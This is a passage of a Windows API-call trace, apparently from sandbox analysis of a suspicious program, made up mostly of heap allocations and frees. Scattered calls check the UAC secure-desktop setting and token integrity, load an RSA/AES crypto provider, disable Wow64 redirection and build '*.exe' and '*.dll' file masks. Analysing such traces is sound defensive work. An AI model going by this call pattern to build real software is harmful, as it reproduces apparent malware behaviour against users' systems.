Flags=0x0, BaseAddress=0x233d1e8) returned 1 [0026.808] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.808] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d208) returned 1 [0026.808] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c168) returned 1 [0026.808] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d218) returned 1 [0026.808] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1b0) returned 1 [0026.808] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0026.808] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x233c480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x233c480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0026.808] RegCloseKey (hKey=0x38) returned 0x0 [0026.808] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0026.808] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0026.808] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0026.808] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0026.808] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5a0 [0026.808] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x233c5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x233c5a0, ReturnLength=0x18fbfc) returned 1 [0026.808] GetSidSubAuthorityCount (pSid=0x233c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x233c5a9 [0026.808] GetSidSubAuthority (pSid=0x233c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x233c5b0 [0026.808] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c5a0) returned 1 [0026.808] NtClose (Handle=0xc4) returned 0x0 [0026.809] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0026.809] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x6c) returned 0x233b860 [0026.809] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5a0 [0026.809] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0026.809] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c480 [0026.809] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c438 [0026.809] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c558 [0026.809] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c510 [0026.809] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c80048 [0026.809] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c4c8 [0026.809] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c4c8) returned 1 [0026.809] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x282240) returned 1 [0026.831] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c80048) returned 1 [0026.831] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233b8d8 [0026.831] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233b960 [0026.831] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c4c8 [0026.831] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233b9e8 [0026.831] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ba70 [0026.831] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c3f0 [0026.831] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233baf8 [0026.831] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c3a8 [0026.831] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c80048 [0026.831] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c360 [0026.831] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c360) returned 1 [0026.831] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0026.835] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c80048) returned 1 [0026.835] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x27cf50, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0026.835] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c360 [0026.835] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0026.835] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c360) returned 1 [0026.835] GetLastError () returned 0x0 [0026.836] LocalFree (hMem=0x27cf50) returned 0x0 [0026.836] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c360 [0026.836] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c80048 [0026.836] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c318 [0026.836] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c318) returned 1 [0026.836] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0026.836] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c80048) returned 1 [0026.836] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x27cf50, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0026.836] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c318 [0026.836] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0026.836] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c318) returned 1 [0026.837] GetLastError () returned 0x0 [0026.837] LocalFree (hMem=0x27cf50) returned 0x0 [0026.837] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c318 [0026.837] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c80048 [0026.837] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c2d0 [0026.837] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c2d0) returned 1 [0026.837] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0026.837] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c80048) returned 1 [0026.837] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x27cf50, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0026.837] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c2d0 [0026.837] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0026.837] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c2d0) returned 1 [0026.837] GetLastError () returned 0x0 [0026.837] LocalFree (hMem=0x27cf50) returned 0x0 [0026.837] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x2800) returned 0x1c80048 [0026.837] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bb80 [0026.837] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c2d0 [0026.838] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x2800) returned 0x1c82850 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.838] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d5e8 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2d8 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1f8 [0026.838] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1f8) returned 1 [0026.838] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.838] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2d8) returned 1 [0026.838] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d5e8) returned 1 [0026.838] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x2800) returned 0x1c82850 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.838] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d5e8 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2d8 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1f8 [0026.838] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2c8 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d600 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2b8 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1b0 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2a8 [0026.838] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c168 [0026.838] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1f8) returned 1 [0026.838] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2d8) returned 1 [0026.838] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.838] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2c8) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d5e8) returned 1 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d5e8 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2c8 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2d8 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1f8 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1b0) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2b8) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c168) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2a8) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d600) returned 1 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d600 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2a8 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c168 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2b8 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1b0 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2c8) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1f8) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2d8) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d5e8) returned 1 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d5e8 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2d8 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1f8 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2c8 [0026.839] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c168) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2a8) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1b0) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2b8) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d600) returned 1 [0026.839] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0026.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233d9d0 [0026.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c1f8, cbMultiByte=5, lpWideCharStr=0x233d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233da58 [0026.840] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d9d0) returned 1 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d600 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2b8 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233d9d0 [0026.840] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233da58) returned 1 [0026.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233da58 [0026.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c288, cbMultiByte=5, lpWideCharStr=0x233da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233dae0 [0026.840] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233da58) returned 1 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2a8 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233da58 [0026.840] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233dae0) returned 1 [0026.840] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1f8) returned 1 [0026.840] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2d8) returned 1 [0026.840] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.840] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2c8) returned 1 [0026.840] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d5e8) returned 1 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x2800) returned 0x1c82850 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.840] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d5e8 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2c8 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1f8 [0026.840] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d2d8 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c1b0 [0026.840] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.840] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d298 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c168 [0026.841] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d288 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.841] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x233bc08 [0026.841] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d5e8) returned 1 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d278 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c240 [0026.841] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.841] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d258 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x20) returned 0x1c85058 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d248 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c5e8 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d238 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c630 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d228 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c678 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d218 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c6c0 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d208 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c708 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d1e8 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c750 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d1f8 [0026.841] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c798 [0026.841] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1f8) returned 1 [0026.841] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2c8) returned 1 [0026.841] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c1b0) returned 1 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d2d8) returned 1 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c168) returned 1 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d298) returned 1 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d288) returned 1 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c240) returned 1 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d278) returned 1 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d258) returned 1 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc08) returned 1 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.842] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d5e8 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d258 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d268 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d278 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c240 [0026.842] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d288 [0026.842] RtlAllocateHeap 